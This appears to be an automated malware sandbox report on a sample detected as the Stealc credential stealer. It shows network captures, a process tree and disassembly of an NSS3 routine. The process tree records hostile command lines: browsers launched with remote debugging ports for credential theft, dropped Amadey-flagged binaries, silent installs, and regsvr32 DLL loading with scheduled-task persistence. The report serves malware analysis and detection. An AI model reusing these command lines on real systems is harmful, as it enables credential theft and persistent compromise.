2024-11-21 21:05:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:04 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c780bae6-901e-005b-04c5-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210504Z-1777c6cb754j47wfhC1TEB5wrw00000007ag0000000114p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:04 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:04 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:04 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:04 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2620e4ad-c01e-008d-6675-3b2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210504Z-174c587ffdf89smkhC1TEB697s00000000dg0000000070xu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:04 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Target ID:	0
Start time:	16:04:18
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	1'831'424 bytes
MD5 hash:	685F2F3CCFB3958F91E4B8E865CD28D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1920780463.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1396197301.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:04:31
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:04:32
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2072,i,2579720716033033678,1062830349227764566,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:04:42
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:04:42
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2396,i,17343823971388539006,1664554202216569598,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:04:42
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:04:43
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:04:47
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6336 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:04:47
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6492 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:05:11
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAEHJJKFC.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:05:11
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:05:11
Start date:	21/11/2024
Path:	C:\Users\user\DocumentsHCAEHJJKFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHCAEHJJKFC.exe"
Imagebase:	0xaf0000
File size:	1'927'680 bytes
MD5 hash:	6AED281D1464E3A53839BBD9E7190535
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1921785007.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1977021442.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:05:15
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x400000
File size:	1'927'680 bytes
MD5 hash:	6AED281D1464E3A53839BBD9E7190535
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1974488735.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2015690259.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:05:15
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x400000
File size:	1'927'680 bytes
MD5 hash:	6AED281D1464E3A53839BBD9E7190535
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2017592624.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1977420632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:05:43
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7528 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:06:00
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x400000
File size:	1'927'680 bytes
MD5 hash:	6AED281D1464E3A53839BBD9E7190535
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2618969757.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2404125095.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:06:14
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Imagebase:	0x400000
File size:	1'478'320 bytes
MD5 hash:	E1CF72329542DE8B3004517EE07D8371
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:06:14
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp" /SL5="$3025E,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:06:14
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C timeout /T 3 & "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:06:14
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:06:14
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 3
Imagebase:	0x730000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:06:17
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'478'320 bytes
MD5 hash:	E1CF72329542DE8B3004517EE07D8371
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:06:17
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp" /SL5="$104A2,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:06:18
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	"regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Imagebase:	0xc70000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	16:06:18
Start date:	21/11/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	/s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Imagebase:	0x7ff61ac60000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	16:06:21
Start date:	21/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:06:21
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CE66E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,6CE67E60), ref: 6CE66EBC
TlsGetValue.KERNEL32 ref: 6CE66EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE66EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE66F25

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CE66F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE66FA9
TlsGetValue.KERNEL32 ref: 6CE670B4
EnterCriticalSection.KERNEL32(?), ref: 6CE670C8
PR_CallOnce.NSS3(6CFB24C0,6CEA7590), ref: 6CE67104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67117
SECOID_Init.NSS3 ref: 6CE67128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE6714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE671A9
PR_NotifyAllCondVar.NSS3 ref: 6CE671CF
PR_Unlock.NSS3 ref: 6CE671DD
free.MOZGLUE(?), ref: 6CE671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67208
free.MOZGLUE(00000000), ref: 6CE67221
free.MOZGLUE(00000001), ref: 6CE67235
TlsGetValue.KERNEL32 ref: 6CE6724A
EnterCriticalSection.KERNEL32(?), ref: 6CE6725E
PR_NotifyCondVar.NSS3 ref: 6CE67273
PR_Unlock.NSS3 ref: 6CE67281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFA0148,,defaultModDB,internalKeySlot), ref: 6CE674CC
free.MOZGLUE(00000000), ref: 6CE67513
free.MOZGLUE(00000000), ref: 6CE6751B
free.MOZGLUE(00000000), ref: 6CE67528
free.MOZGLUE(00000000), ref: 6CE6753C
free.MOZGLUE(00000000), ref: 6CE67550
free.MOZGLUE(00000000), ref: 6CE67561
free.MOZGLUE(00000000), ref: 6CE67572
free.MOZGLUE(00000000), ref: 6CE67583
free.MOZGLUE(00000000), ref: 6CE67594
free.MOZGLUE(00000000), ref: 6CE675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE675BD
free.MOZGLUE(00000000), ref: 6CE675C8
free.MOZGLUE(00000000), ref: 6CE675F1
PR_NewLock.NSS3 ref: 6CE67636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67686
PR_NewLock.NSS3 ref: 6CE676A2

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE67707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE6771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE67731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE6774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE67770
free.MOZGLUE(?), ref: 6CE67779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE67821
PORT_Alloc_Util.NSS3(?), ref: 6CE67837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE6785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE6786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678AC
free.MOZGLUE(00000000), ref: 6CE678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678F3
free.MOZGLUE(00000000), ref: 6CE678FC
free.MOZGLUE(00000000), ref: 6CE6791C

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE674C7
,defaultModDB,internalKeySlot, xrefs: 6CE6748D, 6CE674AA
kbi., xrefs: 6CE67886
rdb:, xrefs: 6CE67744
dbm:, xrefs: 6CE67716
dll, xrefs: 6CE6788E
NSS Internal Module, xrefs: 6CE674A2, 6CE674C6
sql:, xrefs: 6CE676FE
extern:, xrefs: 6CE6772B
Spac, xrefs: 6CE67389

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
